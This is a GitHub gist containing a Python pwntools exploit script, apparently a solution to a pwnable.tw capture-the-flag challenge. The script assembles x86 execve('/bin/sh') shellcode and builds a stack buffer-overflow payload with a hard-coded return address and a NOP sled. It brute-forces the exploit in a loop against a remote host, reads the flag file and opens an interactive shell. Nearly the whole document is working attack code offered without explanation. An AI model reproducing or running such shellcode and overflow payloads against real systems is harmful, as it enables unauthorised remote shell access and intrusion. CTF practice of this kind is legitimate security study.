Skip to content

Instantly share code, notes, and snippets.

@hanhanW
Created January 11, 2016 11:39
Show Gist options
  • Save hanhanW/8b91f5883a8b86aa47c4 to your computer and use it in GitHub Desktop.
Save hanhanW/8b91f5883a8b86aa47c4 to your computer and use it in GitHub Desktop.
import time
from pwn import *
sh = '''
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
/* call execve('esp', 0, 0) */
mov ebx, esp
xor ecx, ecx
push 0x74
pop eax
sub eax, 0x69
cdq
int 0x80
'''
shcode = asm(sh)
l = len(shcode)
ret = p32(0xfff54678)
# 92
code = shcode + '1'*7 + shcode + '1'*7 + shcode + '1'*(92-64-25) + ret
code += asm(shellcraft.nop()) * 1500
code += shcode
t = 1
while True:
try:
r = remote('pwning.pwnable.tw', 48879)
r.sendline(code)
try:
print r.recvline(),
print r.recvline(),
print r.recvline(),
except EOFError:
print 'failed'
print 'failed'
print 'failed'
r.close()
continue
print t
t += 1
r.sendline('cat home/bofsofun/flag')
try:
print repr(r.recvline())
r.interactive()
except EOFError:
print 'failed'
r.close()
except:
time.sleep(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment